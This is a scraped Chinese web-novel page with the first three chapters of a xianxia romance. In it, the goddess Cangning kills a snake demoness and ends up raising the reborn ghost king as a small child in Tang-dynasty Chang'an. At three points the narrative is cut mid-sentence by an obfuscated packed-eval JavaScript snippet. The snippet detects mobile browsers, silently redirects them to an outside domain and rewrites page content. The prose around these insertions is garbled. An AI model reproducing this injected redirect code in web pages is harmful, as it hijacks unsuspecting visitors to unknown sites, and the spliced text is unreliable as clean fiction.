《清冷蛇君为我折腰》 1. 鬼王降世 作为世间最后一只青鸾,苍宁最喜欢找乐子。 她常被同事评价为张口就是谎话,来日必遭报应的类型。有关她的事迹传遍三界,连八辈子打不到一块儿的鬼,都要停下手里的镣铐,专门点点头肯定她“来日必遭报应”这件事。 可苍宁没有遭过报应。她工作效率极高,升职加薪速度极快。因此,她是一只怡然自得的青鸾鸟。 此刻,日光昏暝,笼盖四野。 竹林中,坐在苍宁对面的,是个头发乱成鸡窝,挺着八个月的肚子的女人。 这是苍宁这次任务的目标。 女人挑起眉毛疑惑地问:“你有三个丈夫?” “没错。” “你的意思是说,你与张大郎、安三郎和牛四郎是姘居关系,对吧?” “是的。”苍宁点点头。 女人疑惑的表情有丝松动,但还是侧着眼睛试探道:“你为什么要和三位郎君在一起?” 苍宁煞有其事地捧着心说:“当然……是因为小女子用生命在爱着他们!小女子依靠头脑思索,依靠口舌入食,倚靠双腿行走,而张大郎、安三郎和牛四郎就正像小女子的头脑、口舌和双腿,都是小女子不可分割的一部分。” 【苍宁,你扯什么犊子呢?搞快点啊!】 苍宁脑中传入倒霉同事的催促声,苍宁暗暗翻了个白眼,被女人抓住。 “你翻什么白眼?” 苍宁柔和的眉眼一弯,散发出一阵光辉:“哎呀,什么翻白眼呀,是小女子有喜了,刚刚思念过度……”苍宁掩住嘴唇,微微一笑,“这才有些难受。王娘子懂的吧?” 王娘子听见她这么一说,疑惑渐渐散去:“果然是有喜了……奴家就说,娘子身上有一种熟悉的气味,奴家绝不会认错。” 【那孽种藏在她肚子里三年了,迟迟不生,她还真以为自己怀的是哪吒三太子啊!】 【快快,别和她闲聊了!你是靠着业绩重回神位了,我还卡在仙位上呢,你快把她肚子里那孽种抓出来!】 苍宁食指卡在鼻梁旁,用神识慢条斯理地回话: 【你清醒点,我本来就是神,咱俩不一样。】 【……哪里不一样?】 【天生不一样。】 脑中的声音瞬间断了,苍宁能够感觉到一阵莫名的怒气。她逗人逗得开心,忍不住嗤嗤一笑,王娘子伸出手,隔着朴素的花纹布料摸她的小腹。 “你这才几个月大吧?” “嗯……三个月大吧。” 王娘子黑漆的眼珠渐渐安定下来,视线像胶水一样黏在她肚子上,那只手也越来越放肆:“好娃娃,好娃娃……嘶,好娃娃啊……” 轻柔的安慰声在王娘子的声调中变得越来越诡谲,苍宁垂下眼睫,含着笑看着王娘子,轻轻问道,“王娘子,小女子有胎儿了,要吃什么比较补呀?” 眼下日光散尽了,王娘子的声音轻飘飘的,竟然比不知何时飘来的云雾还要隐秘。 风声,竹叶声,远处传来的一阵乌鸦叫声,所有声音犹如万花筒,联合视觉一齐将人的五感搅得天翻地覆,不知身在何处。 王娘子嘻嘻一笑,声音似男非女,眼睛全然呈现为黑色,湿漉漉的手爬上来,像是一条兴奋的蛇。 她抚过苍宁雪白的臂膀,漆黑的眼睛反射出吃人的光,艳红的两瓣唇微微张开,一条长长的,分叉的舌头顺着苍宁的脸庞,发出激动的,桀桀的笑声。 “好啊,这一回来的真是极品啊……嘶嘶……母子都是极品……脸也可以刨下来……真美呀嘶嘶……” 苍宁本来闭着的眼睛,睁开一条缝,故作娇嗔问道:“小女子真的美吗?” 王娘子没想到她还能睁开眼睛,愣了愣,但很快被苍宁温柔的眉眼吸引了注意力:“美啊美啊,还很香……” 说时迟,那时快,王娘子下身变为蛇尾牢牢圈住苍宁的身躯,一张美艳的脸庞扭曲成蛇面,张开獠牙就要一口咬住苍宁的脖子! 【喂!苍宁!】 雾气变得更加浓重。 一阵芳馨的血气四下弥漫,让人意乱神迷。 竹林中传来令人脸红心跳的满足声,王娘子瞳孔睁大,双颊绯红,嘴边淌着汨汨鲜血。那七八个月大的肚子破了一个大窟窿,呈现不详的黑红色,而边缘处则燃着赤青色的火焰。 “是他——!他回来了!是他——”王娘子的话卡在喉咙中,喷出一口鲜血,随着一声不知何处而来的婴儿哭啼,她哼哼两声,洋溢着幸福的笑容,纤细的脖颈诡异地扭转一百八十度,耷拉了下去。 滴答、滴答。 地上满是粘稠的血。 一道粉红色闪光目瞪口呆地站在王娘子身后,透过王娘子肚子上那个洞看见了苍宁不带一丝情感的眼睛。 十六七岁的少年面如桃花,咋咋呼呼叫道:“苍宁,你你你你——我是让你快点完事,但你,你这,这也太狠了吧!” 与苍宁常日的黑色瞳孔不同,那是一双赤青色的眼睛,赤青色的卍字纹呈规则排布,细看下,这双眼睛如冰裂的青瓷一般晶莹剔透。 苍宁面无表情地甩开王娘子的尸体,下意识想要整理衣襟,却发现手上的鲜血,眉毛一皱,手上自动燃起青色火焰,将脏污的鲜血烧了个干净。 云雾渐渐散去,神秘的竹林中恢复了往日的平平无奇。 苍宁回过头看桃枝,伸出手,给他看赤青色火焰燃尽后留下的金色魄丹。 桃枝结巴了下:“你,你的眼睛是怎么回事?” “哦,”苍宁下意识摸了摸眼睛,瞬间过后,那双眼睛变回了常日的黑色,“这个啊,我的业绩吧。” 苍宁予以肯定:“很漂亮吧?我觉得很漂亮,就拿过来收藏了。” 桃枝僵笑两声,没敢说话。 “走吧。” 走之前,桃枝还是按照自己的惯例为王娘子超度了。“愿你和孩子下辈子是好人。” 苍宁笑道:“她不是人。变成女人,不过是欺骗他人的手段。你上当了?” 桃枝怨念颇深地瞥了她一眼。 和苍宁出任务很简单,也很有保障。桃枝知道这次任务毫无疑问会是满分。也难怪有那么多人抢着要和苍宁一起出任务。 神界形成了一套新制度。飞升不再依靠简朴的渡劫,而是在此基础上,提升成仙和成神的难度,并将神位和仙位拉开距离。任务分为甲乙丙三等,甲级任务通常是内部分派式。 这一回,看上去只是取了个孽种,实则已经集齐了九九八十一颗魄丹,完成了这次甲级三等任务。 这次回去,桃枝就能飞升上仙了。 但不得不说,这一趟甲级三等任务,他走了狗屎运。 一则,蹭上了苍宁这个业绩王。 二则,他基本没出什么力,跟着苍宁混吃等死就行。 苍宁优哉游哉地走在前头,大前辈白得惊人的面容一扫刚刚面无表情的冷酷,转头露出了一个笑容。 桃枝眼神四处乱飘,余光瞥见地上始终有丝血迹,但很快被苍宁的动作夺去了注意力。 苍宁长拍拍他的头:“你看上去像……”苍宁歪头,“像因为被堵住蚂蚁洞所以回不起,在门口急得团团转的小蚂蚁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029995|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 桃枝还是很在意那双卍字纹双眼。他跟着苍宁做了两个月的任务了,还是第一次看见传说中赤青色的卍字。 神界没有这种诡异的卍字纹。 神界的一切都是平静的,庄重的。这种卍字纹,他只在传闻中听说过,隶属于那个逝去的,让人胆战心惊的鬼王。 可过去几百年,新晋的小仙们从来没有人亲眼瞧过,还以为都是传说。 他一改态度,有些踌躇道:“前辈,你的眼睛,是不是……” “是的。” “我还没有问呢!” “是的。就是你想的那样。”苍宁打了个哈欠,手搭在桃枝的肩膀上,“就是那样。” 桃枝吃了一惊。他年纪小,不知道苍宁究竟发生了什么事情,只听说过苍宁的故事。 流传在各位小仙中的版本是: 千年前,苍宁因为犯大错而被贬下神位。二百年前,她借机嫁给如日中天的鬼王晏长书,铲掉了鬼王的脑袋,趁机翻身重回神位。 鬼界和神界亦敌亦友,鬼王死去,让神界舒心不少,苍宁因此名声赫赫。可她也留下了个无情之名。 苍宁又打了个哈欠,看上去昏昏欲睡似的,漫不经心地说:“那个恶劣鬼王呢,可不是什么好东西。我嫁给他的时候,天天罚我跪在堂前给他洗脚,对了,他戴面具的原因你们也不知道吧,说真的,他长得确实恶劣……”苍宁精致的眉眼一皱,努力想一个合适的词汇,“而且和他对视容易精神崩溃。” 桃枝讷讷点头:“呃,听说前辈掏了他的坟。”丝毫不念夫妻之情那种。 “对。掏出了点好东西。”苍宁眼睛一亮摊开掌心,“你看看喜不喜欢?” 桃枝张着嘴不敢拿,停下脚步看了好一会儿,低声道: “原来鬼王的魄丹长这样……” 一颗看似平平无奇的珠子。没有卍字纹,没有光芒,就像地上普普通通的圆石子。 但是,莫名其妙地,桃枝感觉有些不对劲。 从刚刚开始,有什么东西被他忽略了。 桃枝抬头,看见苍宁近在咫尺的温柔面容,余光的血迹消失不见,愣了半晌,问道:“前辈!孩子呢?”王娘子死去时,竹林中明明传来了孩子的啼哭! 苍宁也是一愣:“哈?我和晏长书可没有孩子。” “不是,”桃枝脸一红,“是王娘子的孩子!她的腹中没有孩子!” “她本就没有孩子。她吸食旁人腹中胎儿为生,体内孕育的是多年的鬼气。她是偷窃人胎的蛇妖。” 苍宁收起手中的魄丹,抬脚往前走。桃枝跟着往前走。 黑夜中,寂静的竹林传来了孩子的哭声,随即,是孩子咯咯笑的声音。 那个笑声,就在他们身后。 苍宁率先停下脚步。 桃枝吓得两腿发颤,一张清秀的脸蛋布满冷汗,嘴里默念道:“我给你超度了啊呜呜,我明明超度了,别找我去找前辈啊……” 孩子的笑声更近了。 “咯咯咯,咯咯咯~” 桃枝感觉裤腿上黏上来一个冰冷的东西,瞬间跳起来:“别抓我别抓我!我不想死啊我还没有飞升成神呢呜呜呜连恋爱都没有谈过,放过我放过我!” “呀……呀……” 苍宁顺着声音看下去。 王娘子留下的血迹消失了。 取而代之的,是一个粉雕玉琢的小婴儿。 他抓着桃枝的裤腿,看着睨着他的苍宁,露出了一个笑颜。 湿漉漉的眼睛中闪过赤青色的卍字,尔后归于漆黑的夜色。 2. 谁的小娘? 苍宁没想到自己活了千年,在今日达成了“无痛当妈”的成就。 在苍宁反复说了一百遍,她和晏长书没有孩子之后,桃枝将信将疑道:“可是前辈不是怀孕了——” 话还没说完,苍宁便狠狠锤了他脑袋一下。 “我怀没怀孕你不知道?” 桃枝像个受迫害的流浪儿,惊恐道:“前辈你你你你,我和你之间清清白白,什么都没有的呀!请苍天,辨忠奸啊!” 苍宁拳头邦邦硬。 “我假装有孕是我们都知晓的计策,怎么可能忽然生个孩子出来!” “那就是王娘子的孩子……” “你聋了是不是?我都说了,王娘子没有孩子,她肚子里是积存的鬼气。” 桃枝小声道:“前辈你平时开玩笑开太多了,我有点怀疑你说话的真假了。也许这次是真的呢?” “真你个头啊!”苍宁又给了他一拳头,桃枝倒在地上,粉红色的衣裳沾着泥土,露出一个苦巴巴的笑。 地上的小娃娃看见他滑稽的模样,咧嘴笑出声,黑瞳闪过赤金色,又开始哼哧哼哧往苍宁身上爬。 桃枝喉中发出一阵牛叫,扒住了苍宁另一侧衣服。 “前辈!!!他,他有卍字眼啊……我用我的性别打包票,这肯定是你和鬼王的孩儿啊!” 苍宁踩住他的脑袋:“闭嘴!我再说一遍——” “我—— 和—— 晏—— 长—— 书—— 没—— 有—— 孩—— 子——!” 偌大的神机庭内,这句话再次响起,神职人员凝神屏息,连天帝都耷拉着脸。 甲级三等任务结束之后,苍宁和桃枝就被拉到专门处理神职人员事务的神机庭内,对这个来路不明的小娃娃进行处置。 竹林里咯咯直笑的小婴儿,在极短的时间内已经长成了三岁模样的小郎君,抱着苍宁的腿,眨巴着无辜的眼睛。 这孩子长得实在漂亮,一双眼睛尤其夺人瞩目,长长的眼睫毛扑闪扑闪,就像柔而无骨的蝴蝶,圆嘟嘟的脸蛋白里透红,小嘴巴微微张开,在肉肉的小手摇晃苍宁的裤腿时,奶声奶气地配合道:“苍宁。” “不许叫我苍宁。” “娘亲。” 苍宁捂脸:“唉。” 所有神仙一语不发,都盯着小娃娃看,只有桃枝还在激动地“还原事实”。 “我怀疑前辈怀孕了,哦不是,是沾染了那个蛇妖的孕气,可能是蛇妖临死前强大的母爱施下了咒法,把孩子移到了前辈身上,然后在不知不觉中,前辈就生下了这个孩子。” “咳咳。”天帝板着脸咳嗽了一声。 “这个孩子有卍字眼,鬼王的卍字眼!再猜一下,可能是前辈几百年前忘记自己怀孕了,在今天忽然一下就生了!” 苍宁嘴角抽了抽,警告道:“桃、枝!” 听见“卍字眼”三个字,天帝长长叹了一口气。 “把那小娃娃带上来。” 见天帝发话,为首的卯日星君走过来,想要抱起他,没成想,小娃娃张嘴哇的一声嗷嗷直哭,仍是抓紧了苍宁。 苍宁被吵的脑仁疼。 报应。 真的是报应啊,她找乐子的报应。 她抄起小娃娃,极为不熟练地颠了颠。小娃娃打了个嗝,吚吚呜呜地重新扬起笑脸,小脸搁在苍宁衣领边。 怀里的娃娃并非像人类一样温暖,而是温冷的。像一块玉。 苍宁走到天帝座下,小娃娃好奇地看着天帝,发出奶萌奶萌的嘟囔声。 天帝瞄了两眼,脸色更差了,唉声叹气了好一会儿,卯日星君请示道:“太上,可要请各位帝君一同来探?” “不必探了!”天帝摇头,“唉,不过短短二百年,他便再度降世了。” 苍宁一愣:“什么再度降世?” 天帝撑着头,将手中书卷一摔,说道:“晏长书,你可还记得?” 苍宁迟疑地点点头。 天帝指着她怀中的奶娃娃:“这,便是晏长书。百抬彩礼,从鬼界排到神界迎娶你的丈夫。” 苍宁猛摇头:“这不可能。” 当初,她为一桩计谋中的联姻嫁给晏长书,也不过是为了取鬼王所剩无几的性命。晏长书死了。她还去鬼界刨了他的坟。 她换取了神鬼两界数百年的和平。为了彻底摆脱晏长书,她甚至带走了晏长书的魄丹……他怎么会再度复活?! “他的魄丹还在你身上。你自以为夺走了他的卍字眼,实则不过以身养他。我劝告过你,苍宁。”天帝如是说。 “那我便再杀他。” “你现在不能杀他。” 苍宁眯眸道:“为何?” 天帝看着小娃娃不语,卯日星君拱手上前道:“神界向来以和为贵。非必要不争斗,更何况,如今这晏长书还是小娃娃……他这一世,未必是鬼王,若贸然杀之,恐生事端。” 天帝补充道:“二百年前,你刨了他的坟,没在鬼界生出事端,也是神鬼两界协商的结果。今时不同往日。” 苍宁忍笑:“陛下心怀慈悲,令我等敬佩。” 天帝起身,负手警告:“苍宁,神鬼两界尚在和平期,切莫冲动行事。” 苍宁迟疑两秒,抿唇沉眸,不再言语。 仁义礼智,这是神界最引以为傲的东西,不可由她打破。 肃穆的神机庭内,再无人交谈,更没有反驳。 怀中的晏长书眨巴眨巴大眼睛,呆呆萌萌地抓住苍宁的头发,似乎是发觉了她的不高兴。 天帝最后下了敕令: “监视鬼王。在这期间,你可以接其他任务,但切不可向他人泄露此任务。” 苍宁挑眉:“监视有何意义?只为最后杀死他?” “不论最后鬼王能否为神界所用,你的最终目标都是换取世间永久的和平。”天帝说,“苍宁,身为青鸾一族最后的子嗣,这句话是你亲口所说,不记得了吗?” - 三危山,东峙宫。 这是青鸾一族历来住所,为西王母所赐。西王母疼爱苍宁,如同疼爱神界帝姬,眼下西王母出门远游,三危山中苍宁便是真正的主子。 可主子不主子的,苍宁根本不在乎。 苍宁觉得,自己成为了神界的乐子。 由找乐子变成乐子的滋味不是很爽,只不过看在天帝给了她一大笔任务资金的份上,她可以暂且忍一忍。 ……忍到这团软乎乎的活肉长大。 苍宁两眼发直地躺在榻前,桃枝抱着奶声奶气的小鬼王站在一旁,无所适从地佝偻着要, 苍宁听见他笑得小心翼翼又谄媚,忍不住转过头,歪嘴呆滞道:“你有没有去过人间的皇宫?” “呃,去过……?”桃枝手忙脚乱地阻止小鬼王< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029996|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你去过?你知不知道你笑得很像太监?” 桃枝手一僵,小鬼王终于从他怀里滑下来,哼哧哼哧,开开心心爬到苍宁榻前。 小娃娃冰雪聪明的面容格外讨喜,任谁见了都要夸一声可爱。他身上穿着桃枝套好的粉红色小衣服,咧着嘴朝苍宁咯咯直笑,含含糊糊又执著地喊道:“娘、娘亲。” 桃枝倒吸一口冷气,捂着心口。 苍宁嘴角一抽,眯着眼睛看着这小东西,没好气道:“再喊娘亲,把你杀了。” 桃枝又倒吸一口冷气。 苍宁睨了桃枝一眼:“再倒吸气,把你也杀了。” 桃枝苦着脸道:“大前辈,我这不是也在秘密任务里的嘛,我帮大前辈的呀。” 苍宁看见眼前两个人就拳头梆硬。 她原本可以快快乐乐躺在这里,没有人来烦她,也没有人需要她照顾。为了找点乐子接个甲级任务,谁曾想找来个祖宗,还得好吃好喝供在东峙宫里! 苍宁伸手,一阵无形的力量抓起小娃娃的四肢,使他腾空而起。 小娃娃黑葡萄般清澈的双眼中扬起笑意,还以为苍宁在和他玩什么游戏。 直到见到苍宁五指微弯,小娃娃柔嫩的脖颈瞬间被苍宁掐在手里,桃枝倒吸一口冷气:“大前辈!万万不可啊!” “咯咯咯……娘……” 小娃娃胖嘟嘟的小肉手攀附住苍宁的手。 温凉的触感使得苍宁额间青筋直跳。 她盯着眼前的黑色眼睛。眼白少,漆黑望不见底。是他。 是晏长书的眼睛,她无论如何都不会认错。 她停了数秒,松开手,小娃娃一屁股掉在了榻上,忽然哇的一声哭起来。 苍宁拍了拍自己的手,阴森森地瞅着桃枝:“……” 桃枝刚想吸冷气,突然捂住嘴。尔后,抖着手伸出一个大拇指,颤巍巍冲苍宁谄媚地笑:“前辈,伟大,无需多言。” “闭嘴!”苍宁拎着小娃娃的衣领,丢到桃枝怀里,“你去给他喂奶。” “啊我?我没、没奶水……”桃枝涨红了脸。 苍宁咧开嘴,做出了有史以来最生硬的笑容:“桃枝,完不成这个任务,一辈子都别想飞升神位哦~” - 是夜,一灯如豆。 东峙宫外繁星点点,夜风将烛火吹灭,留下一道蛇形白烟。 苍宁静坐在廊上,仰头饮酒。 室内阴翳中,忽然爬出一道蜿蜒蛇影,慢悠悠接近苍宁。 它终于显露在星光下。 通体赤青,鳞片光亮。与具有迷惑性的外表不符的,是它两颗豆大的双眼,像两颗无辜的小黑豆。 小蛇吐出蛇信子,抬起上半身探了探苍宁的气息,随后坚定地爬过去,挨着苍宁拿酒的手腕,一点点蹭上去,首尾相连,缠绕在了她的手上。 苍宁没好气道:“桃枝没有喂你吃东西吗?” 小蛇依偎着她手腕上的脉搏,依依不舍地蹭了蹭。 随后,张开柔弱的獠牙,一口咬了下去。 “唔……” 赤青色的卍字纹浮现在苍宁眼中,一瞬之间,她恍若不在此处。等回过神来时,已然双颊绯红,低声嘤咛,呼吸急促。 而吃饱喝足后的小蛇,重新变成了肉嘟嘟的奶娃娃,心满意足地躺在苍宁怀中。 苍宁调整呼吸,不留情地戳戳肉团子的脸:“等你长大你就死定了,晏长书。” 3. 小鬼狗剩 苍宁重回神位后,就再也没做过梦。 修仙者都说,梦是来日的预演。无梦之神,似乎注定没有未来。 直到晏长书以小娃娃的形态回到她的身边,她竟然再度做起了梦。 荆棘、残花、鲜血、蛇鳞。 望不见低的深渊口,她被庞大的蛇身缠绕着,四肢无法动弹。漆黑的高天上,神界的神座轰然倒塌,天空被划出巨大的口子,流出满是岩浆一样的浓稠鲜血。 那口子是赤青色的卍字。 她仰头呼吸着稀薄的空气,看见空中沾着鲜血的羽毛掉落进深渊,再无痕迹,混沌的意识徒然间因为前脖上的咬痛而清明—— “啊……” 她嘤咛一声,无力地倚靠在蛇身上,温凉的蛇鳞紧密地划过她的腰腹、双腿,在臀侧慢慢往上,牢牢捆绑住她。 她很想逃。但她无处可逃。 赤青色的巨蛇啃噬着她,却舍不得将她整个儿吞下腹中,蛇信子沿着鲜血流下的痕迹,留下一条浅浅的湿印子。 她看见了蛇眼中的卍字。 那一刻,她忘记了疼痛,忘记了寒冷,甚至忘记了自己。她只认识面前的存在,在破碎的高天上与她同在的存在。 她喃喃道:“晏……长书……” 晏长书。 赤青色的巨蛇双眸一闪,长尾不耐地在下方摇来摇去,在暧昧的水声中,巨蛇张开大口,朝她一口咬过去—— 苍宁被吓醒了。 她气喘吁吁地坐起来,手里还拿着昨天的酒。 她记得昨天睡觉前莫名其妙被晏长书这鬼娃娃咬了一口,抬手一看,手腕上的咬痕已经痊愈了。晏长书不在自己怀里。 她从廊上爬起来,刚想迈步走进宫中,被被子绊倒在地,回头一看,一个圆滚滚的东西稀里糊涂地滚到廊下,爆发出了惊天的哭声。 “哇啊啊啊啊啊啊!!!!!” 苍宁脸色一白。 该死,晏长书怎么还真在她怀里睡了一晚上! “哇啊啊呜呜呜哇啊!” 小娃娃哭得上气不接下气,三岁模样的奶团子,现在就像即将要融化的雪娃娃。 桃枝穿着围裙,套着头巾跑出来,活像个御膳房掌勺太监:“怎么了,孩子怎么了?长生怎么了?!” 苍宁无语道:“拜托了大哥,他叫长书。” 去掉姓氏之后,仅仅叫两个字让苍宁有种说不上来的怪诞亲密感。 苍宁情不自禁打了个寒颤,改口道:“以后不许叫他晏长书!” 桃枝讪讪地抱起小娃娃,拍拍他的后背:“大人,不叫晏长书,叫鬼王大人?” “你能不能有点骨气?”苍宁终于从地上爬起来,“叫狗剩就行了。” “啊?” “你忘了这是个秘密任务?”苍宁横他一眼,“教育好狗剩,你神位有望。失败了,你和我都吃不了兜着走。” 桃枝道:“不是,这个名字是不是有点太……” “贱名好养活,”苍宁很难说自己带着多少个人情绪,但是她知道自己说出口的时候真是爽极了,“你要怎么改变他是晏长书的事实?那当然是从一开始就告诉他,他不是晏长书,从而改变他的一切认知。从现在开始,他就叫狗剩,没爹没娘,是我捡回来的孤儿,明白吗?至于你——” 桃枝伸出手:“啊?我?” 苍宁不耐烦地说:“你以后就对他说你是东峙宫的乳公。” “?” “这样任务失败,晏长书没准儿还能念在你带过他饶你一命呢。”苍宁干巴地笑了笑。 - 苍宁接任务从不会回三危山住。 一旦她回到三危山,就代表她决定休假了。这是三危山上的仙侍都明白的习惯。 苍宁也不喜欢有人伺候,可是这回却带着一个穿得花里胡哨的桃枝,和一个人见人爱的奶娃娃回来,惹得三危山上的仙侍们纷纷好奇打探。 仙侍们送来西王母出门前吩咐,一定要送来的蟠桃,又是送了一堆织女新绣的锦缎…… 苍宁拿起蟠桃啃了两口,假装漫不经心地问道:“林芝啊,你知不知道三危山哪里有教书先生?” 林芝是西王母的大仙侍之一,为人亲善有礼,和苍宁十分有交情。她思考片刻,询问道:“大人可是在为孩子寻找教书先生?” “嗯……不是我的孩子哈,”苍宁牛头不对马嘴地回答完,觉得过于掩耳盗铃,咳嗽了一声,“狗剩这娃非常聪明,但很需要调教,不能放任自流。我想知道咱三危山,或者说,咱神界有没有教书先生?最好是那种,一上完课就能让孩子变得无比正直、善良、不偏执,绝没有半点坏念头出现的好先生。” 林芝笑了笑:“神界千百年难有新生儿,何来教书先生?至于让孩子立马变得无比正直、善良、不偏执,多少上神遭受天劫雷电都难以做到,遑论三岁孩童?” 苍宁道:“那便是没有咯?” “算不得没有。”林芝道,“往日西王母娘娘在时,便是苍宁大人的老师,大人学成后云游四海,逍遥自在。如今娘娘出门远游,大人便算得上是这三危山最好的老师了。” 苍宁缓慢摇头:“我不行,非得是旁人。这回,非得是旁人才行。好姐姐,你指条明路吧。” “倒是少见大人如此烦忧。”林芝圆圆的眼眸淌着温暖的光芒,“如此说来,我确实有个法子。” “快说快说。” “神鬼两界俱是长生种,自然不善与孩童相处。可人和妖两界,轮回生生不息。妖界孩童多非人形,更没有系统教书的先生。若大人不嫌麻烦,可下界前往人界。如今人间正是繁华盛世,人类更有一套仁义礼智信的好法子,想必寻得一教书先生再容易不过了。”林芝倾身附耳道,“且,养鬼怎能不吸纳鬼气?只怕在神界,里头那位是要饿死的。” 苍宁惊觉林芝已然知晓了小娃娃的气息,料想也许是天帝下了暗信。 她想到昨夜晏长书吸食她的血,也许就是来吸纳鬼气的。 毕竟,她曾在鬼界生活了百年,揣着他的魄丹又生活了百年。 “你说的……倒是有理。” 林芝笑笑:“有没有理,全在大人一念之中。” - 苍宁仔细想了想,要完成这桩秘密任务,对自己最轻松的办法就是去找个靠谱的老师。 她有钱。 先不说天帝拨了一笔可靠的支出,二百年前,晏长书溘然长逝之时,就留给了她一大笔花不完的遗产。 可以说,那时候她觉得,自己口袋里的钱比天上的星星还要多。多到她花都不知道怎么花,只能让这些钱寂寞地躺在鬼界的宝库里。 接下来两日,苍宁找到了刚刚渡劫回来的文曲星,逼问他去人间做了什么。文曲星讪笑了半晌:“去当陶渊明了。” 苍宁问:“陶渊明?谁啊,很厉害吗?” “嗯,还成?” 苍宁揪住他的领子:“你再当一回。” “不成了,大人。”文曲星叹气,“虽说咱们可以横跨时间,但终究不合规矩。我这刚回来,还得汇报工作呢。” 苍宁按着文曲星官一阵折磨,文曲星官终于松口给了她一本文人列册,记录了各个朝代顶有名气的文人。苍宁满意离去,在东峙宫宣布了这个好消息,并给西王母留下一封格律不齐的家书。 “真要搬到人间去?”桃枝问。 “可操作空间比较大。” 桃枝挠头:“孟母三迁啊?” 苍宁:“乳公,不会说话可以不说。” 桃枝:“……” 给天帝打报告不过是片刻的事,不触犯原则的情况下,苍宁一直都是想怎么做,就怎么做。 她希望晏长书会突然长大,或者,突然死掉。 但没有。 苍宁带着三岁模样的小狗剩,去人间做了美艳寡妇。 - 冬雪纷飞。长安城。 三个月前,金城坊内忽然来了一位天仙般的女子,自称姓苍,住进了金城坊最大的宅子里。 金城坊位于朱雀门街之西第四街街西从北第三坊,在皇城之西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029997|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有这般财力,坊内民众都猜测是贵族官宦。 尤其是苍家那个四岁大的,粉雕玉琢的天才小郎君,生得人见人爱,拜在会昌寺的辨机和尚座下。 辨机怀高蹈之节,容貌俊秀英飒,气宇不凡,是著名法师道岳的弟子,又被选中进入得道高僧玄奘法师的译场,助玄奘著《大唐西域记》。文曲星的列册上对其学识赞叹有加,如今,辨机和尚时年二十九,晏长书以幼龄入佛寺学习,想来,既能学到其风韵高朗,文采斐然,又能学到其清心寡欲,悠然处世,一举两得。 苍宁绾着妇人髻,站在会昌寺的花园内。 她看见晏长书和僧人一起穿着单薄的衣裳读书诵经,小小的身子埋在僧人服里,一点也不怕冷。 晏长书跪坐在软垫上,腰板挺得笔直,白嫩的小脸上满是虔诚,大眼睛扑闪扑闪,看上去乖得不得了。 路过的扫雪小僧对她礼貌点头,趁雪落无人,苍宁收回目光,踢了踢香火前的石貔貅,催它出来:“貔大虎?貔大虎赶紧的!” 那石貔貅被踢的没办法,以石像身哀怨地瞅了眼苍宁,灵体从石像脱身而出,幻化成为迷你貔貅。它收起炯炯有神的目光,像个人一样站起身来,伸手阻止道:“我知道你很急,但是你先别急。长安城到处都有鬼气。” 晏长书不知感应到了什么,忽然往窗外看过来,苍宁当下一脚把它蹿进石像和墙壁的夹缝里,生怕晏长书看见。 迷你貔貅目眦尽裂,在另一批扫雪小僧过来的时候,无可奈何地,咬牙切齿地幻化成了不起眼的小黄狗。 扫雪小僧朝苍宁行礼,说道:“夫人,下学了。” 长檐有雪,雪落无声。 晏长书放下经卷,朝苍宁挥挥手,一张笑颜比雪光更明亮。苍宁也挥了挥手。她看见晏长书向辨机行了礼,推开门走出来,已经熟练地做出了一副良母模样。 “狗剩,今天有没有变得更正直,更善良,更阳光开朗?” 每日例行一问,问的貔大虎翻了翻狗眼。 晏长书走在雪地上,认真地看着面前的小黄狗,奶声奶气地问:“小娘,这是你捡的另一条狗吗?” 貔大虎猛地伸脖子:“???” 扫雪小僧淡淡一笑,行礼离去。苍宁挂着虚假繁荣的笑,干巴巴笑两声:“家里没有狗啊。哈哈,狗剩才是小娘养的小狗狗哦。” 晏长书扬起甜甜的笑容:“师傅给我取的名字叫长书,他告诉我,小娘和他说过,狗剩只是一个爱称。爱称,就是喜欢的意思,所以,我不是小娘养的小狗狗,我是小娘喜欢的人。” 苍宁:“……” “桃枝才是小娘的狗。”他想了想,阳光开朗道,“我喜欢和小娘在一块儿,要是小娘喜欢狗,再多一条也没关系哦。” 苍宁觉得他真的是有点鬼族的恶劣,而且,成长速度也很诡异,让苍宁觉得事情完全没在正轨上。 貔大虎笑得狗眼弯弯,苍宁想到要以身作则,忍住踹它一脚的心,准备去庙里找辨机法师聊聊。 不得了。 这个趋势长大不得了! 苍宁刚一动,晏长书便抓住了苍宁的手指。 小小一个的他不及苍宁一条腿长,包子脸上黑玉般的大眼睛看向苍宁,莫名有种委屈巴巴地感觉。 “小娘不想和我回家吗?” “你等我找你师傅聊一下。” 